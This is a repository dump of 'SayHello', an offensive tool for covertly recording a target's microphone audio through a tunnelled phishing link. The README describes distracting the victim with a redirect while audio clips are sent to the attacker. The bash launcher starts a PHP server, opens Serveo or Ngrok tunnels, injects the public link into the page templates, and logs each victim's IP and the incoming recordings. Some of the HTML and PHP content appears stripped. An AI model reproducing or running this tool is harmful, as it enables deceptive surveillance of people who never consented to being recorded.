├── README.md ├── index2.html ├── ip.php ├── js └── _app.js ├── sayhello.sh ├── template.php └── upload.php /README.md: -------------------------------------------------------------------------------- 1 | # SAyHello v1.0 2 | ## Author: github.com/thelinuxchoice/sayhello 3 | ## Twitter: twitter.com/linux_choice 4 | 5 | Capturing audio (.wav) from target using a link 6 | 7 | ![hello](https://user-images.githubusercontent.com/34893261/66277580-c7f4b980-e876-11e9-9d05-e3170ad9278e.png) 8 | 9 | ### How it works? 10 | 11 | After the user grants microphone permissions, a website redirect button of your choice is released to distract the target while small audio files (about 4 seconds in wav format) are sent to the attacker. 12 | It uses Recorderjs, plugin for recording/exporting the output of Web Audio API nodes (https://github.com/mattdiamond/Recorderjs) 13 | 14 | ### Features: 15 | 16 | Port Forwarding using Serveo or Ngrok 17 | 18 | ## Legal disclaimer: 19 | 20 | Usage of SayHello for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 21 | 22 | ### Usage: 23 | ``` 24 | git clone https://github.com/thelinuxchoice/sayhello 25 | cd sayhello 26 | bash sayhello.sh 27 | ``` 28 | 29 | ### Donate! 30 | Support the authors: 31 | ### Paypal: 32 | https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CLKRT5QXXFJY4&source=url 33 | ### LiberaPay: 34 | 35 | -------------------------------------------------------------------------------- /index2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 62 | 63 | 64 |

65 | 66 |
67 | 68 | 69 |
70 | 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /ip.php: -------------------------------------------------------------------------------- 1 | /dev/null 2>&1 35 | killall -2 ngrok > /dev/null 2>&1 36 | fi 37 | 38 | if [[ $checkphp == *'php'* ]]; then 39 | killall -2 php > /dev/null 2>&1 40 | fi 41 | if [[ $checkssh == *'ssh'* ]]; then 42 | killall -2 ssh > /dev/null 2>&1 43 | fi 44 | exit 1 45 | 46 | } 47 | 48 | dependencies() { 49 | 50 | 51 | command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; } 52 | 53 | 54 | 55 | } 56 | 57 | catch_ip() { 58 | 59 | ip=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r') 60 | IFS=$'\n' 61 | printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] IP:\e[0m\e[1;77m %s\e[0m\n" $ip 62 | 63 | cat ip.txt >> saved.ip.txt 64 | 65 | 66 | } 67 | 68 | checkfound() { 69 | 70 | printf "\n" 71 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting targets,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n" 72 | while [ true ]; do 73 | 74 | 75 | if [[ -e "ip.txt" ]]; then 76 | printf "\n\e[1;92m[\e[0m+\e[1;92m] Target opened the link!\n" 77 | catch_ip 78 | rm -rf ip.txt 79 | 80 | fi 81 | 82 | sleep 0.5 83 | 84 | if [[ -e "Log.log" ]]; then 85 | printf "\n\e[1;92m[\e[0m+\e[1;92m] Audio file received!\e[0m\n" 86 | rm -rf Log.log 87 | fi 88 | sleep 0.5 89 | 90 | done 91 | 92 | } 93 | 94 | 95 | server() { 96 | 97 | command -v ssh > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; } 98 | 99 | printf "\e[1;77m[\e[0m\e[1;93m+\e[0m\e[1;77m] Starting Serveo...\e[0m\n" 100 | 101 | if [[ $checkphp == *'php'* ]]; then 102 | killall -2 php > /dev/null 2>&1 103 | fi 104 | 105 | if [[ $subdomain_resp == true ]]; then 106 | 107 | $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R '$subdomain':80:localhost:3333 serveo.net 2> /dev/null > sendlink ' & 108 | 109 | sleep 8 110 | else 111 | $(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:3333 serveo.net 2> /dev/null > sendlink ' & 112 | 113 | sleep 8 114 | fi 115 | printf "\e[1;77m[\e[0m\e[1;33m+\e[0m\e[1;77m] Starting php server... (localhost:3333)\e[0m\n" 116 | fuser -k 3333/tcp > /dev/null 2>&1 117 | php -S localhost:3333 > /dev/null 2>&1 & 118 | sleep 3 119 | send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink) 120 | printf '\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Direct link:\e[0m\e[1;77m %s\n' $send_link 121 | 122 | } 123 | 124 | 125 | payload_ngrok() { 126 | 127 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") 128 | sed 's+forwarding_link+'$link'+g' template.php > index.php 129 | sed 's+redirect_link+'$redirect_link'+g' js/_app.js > js/app.js 130 | 131 | 132 | } 133 | 134 | ngrok_server() { 135 | 136 | 137 | if [[ -e ngrok ]]; then 138 | echo "" 139 | else 140 | command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; } 141 | command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; } 142 | printf "\e[1;92m[\e[0m+\e[1;92m] Downloading Ngrok...\n" 143 | arch=$(uname -a | grep -o 'arm' | head -n1) 144 | arch2=$(uname -a | grep -o 'Android' | head -n1) 145 | if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then 146 | wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1 147 | 148 | if [[ -e ngrok-stable-linux-arm.zip ]]; then 149 | unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1 150 | chmod +x ngrok 151 | rm -rf ngrok-stable-linux-arm.zip 152 | else 153 | printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n" 154 | exit 1 155 | fi 156 | 157 | else 158 | wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1 159 | if [[ -e ngrok-stable-linux-386.zip ]]; then 160 | unzip ngrok-stable-linux-386.zip > /dev/null 2>&1 161 | chmod +x ngrok 162 | rm -rf ngrok-stable-linux-386.zip 163 | else 164 | printf "\e[1;93m[!] Download error... \e[0m\n" 165 | exit 1 166 | fi 167 | fi 168 | fi 169 | 170 | printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n" 171 | php -S 127.0.0.1:3333 > /dev/null 2>&1 & 172 | sleep 2 173 | printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server...\n" 174 | ./ngrok http 3333 > /dev/null 2>&1 & 175 | sleep 10 176 | 177 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") 178 | printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link 179 | 180 | payload_ngrok 181 | checkfound 182 | } 183 | 184 | start1() { 185 | if [[ -e sendlink ]]; then 186 | rm -rf sendlink 187 | fi 188 | 189 | printf "\n" 190 | printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net\e[0m\n" 191 | printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n" 192 | default_option_server="1" 193 | read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m' option_server 194 | option_server="${option_server:-${default_option_server}}" 195 | 196 | default_redirect="https://youtube.com" 197 | printf "\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a distracting website (Default:\e[0m\e[1;77m %s\e[0m\e[1;92m ): \e[0m" $default_redirect 198 | read redirect_link 199 | redirect_link="${redirect_link:-${default_redirect}}" 200 | 201 | if [[ $option_server -eq 1 ]]; then 202 | 203 | command -v php > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; } 204 | start 205 | 206 | elif [[ $option_server -eq 2 ]]; then 207 | ngrok_server 208 | else 209 | printf "\e[1;93m [!] Invalid option!\e[0m\n" 210 | sleep 1 211 | clear 212 | start1 213 | fi 214 | 215 | } 216 | 217 | 218 | payload() { 219 | 220 | send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink) 221 | 222 | 223 | sed 's+forwarding_link+'$send_link'+g' template.php > index.php 224 | sed 's+redirect_link+'$redirect_link'+g' js/_app.js > js/app.js 225 | 226 | 227 | } 228 | 229 | start() { 230 | 231 | default_choose_sub="Y" 232 | default_subdomain="sayhello$RANDOM" 233 | 234 | printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Choose subdomain? \e[0m\e[1;77m [Y/n] \e[0m\e[1;33m: \e[0m' 235 | read choose_sub 236 | choose_sub="${choose_sub:-${default_choose_sub}}" 237 | if [[ $choose_sub == "Y" || $choose_sub == "y" || $choose_sub == "Yes" || $choose_sub == "yes" ]]; then 238 | subdomain_resp=true 239 | printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Subdomain (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_subdomain 240 | read subdomain 241 | subdomain="${subdomain:-${default_subdomain}}" 242 | fi 243 | 244 | server 245 | payload 246 | checkfound 247 | 248 | } 249 | 250 | banner 251 | dependencies 252 | start1 253 | 254 | -------------------------------------------------------------------------------- /template.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /upload.php: -------------------------------------------------------------------------------- 1 | 16 | --------------------------------------------------------------------------------